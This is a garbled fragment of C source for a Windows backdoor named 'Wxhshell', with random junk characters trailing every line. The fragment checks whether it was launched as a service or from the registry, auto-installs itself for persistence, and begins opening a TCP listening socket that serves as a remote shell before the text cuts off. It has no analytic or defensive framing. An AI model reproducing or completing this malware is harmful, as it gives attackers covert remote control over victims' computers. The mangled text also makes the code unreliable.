DWORD BasePriority; ^^Q32XC,
ULONG UniqueProcessId; e6xjlaKb
ULONG InheritedFromUniqueProcessId;
~zC fan/
} PROCESS_BASIC_INFORMATION; Gz5@1CF
RIqxM
PROCNTQSIP NtQueryInformationProcess; v6Wf7)d/1
VRP.tD
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [gr[0aG Bc
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; iKH T
sW3D
(
n
HANDLE hProcess; oc%le2
PROCESS_BASIC_INFORMATION pbi; >@e%,z
7Bd_/A($
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kL2sJX+
if(NULL == hInst ) return 0; :+^llz
I[IQFka}
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); OiEaVPSI;
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `rJ ~*7-
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J` --O(8Ml
oOSyOD
if (!NtQueryInformationProcess) return 0; }'v?Qq
F9J9pgVP
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N ^`Efpvg
if(!hProcess) return 0; ,lYU#Hx*
&L`p4AZ
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _\[JMhd}
KCT"a:\
CloseHandle(hProcess); +Z(VWu6
#X_ M
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {v/6|
if(hProcess==NULL) return 0; k8>^dZub
!@1!ld
HMODULE hMod; Yaepy3F
char procName[255]; ~'\u:Imuo
unsigned long cbNeeded; gy`qEY~B&
R}<s~` Pl
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); JY8pV+q @=
]h$TgX
CloseHandle(hProcess); p5t#d)
/`@>v$oo
if(strstr(procName,"services")) return 1; // 以服务启动 X^^ D[U
TL:RB)- <
return 0; // 注册表启动 h;[Ncj]
} T=Q{K|JE
$oj<yH<i
// 主模块 O~]G(TMs8W
int StartWxhshell(LPSTR lpCmdLine) T5+b{qA
{ Ap9wH[H
SOCKET wsl; hrt-<7U
BOOL val=TRUE; u#|Jl|aT
int port=0; /! G0 g%k
struct sockaddr_in door; ~,7R*71
k5
l~
if(wscfg.ws_autoins) Install(); hKeh9 Bt
<u/({SZ&
port=atoi(lpCmdLine); v]S8!wU
bZfJG^3
if(port<=0) port=wscfg.ws_port; %,RU)}
eA^|B zU
WSADATA data; =R`2 m
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !PbFo%)
ka[NYW{.
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; P*sCrGO%
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K6hNN$F!
door.sin_family = AF_INET; +q%goG8
door.sin_addr.s_addr = inet_addr("127.0.0.1"); IvH+94[)
door.sin_port = htons(port);
jK1!
\j
<N&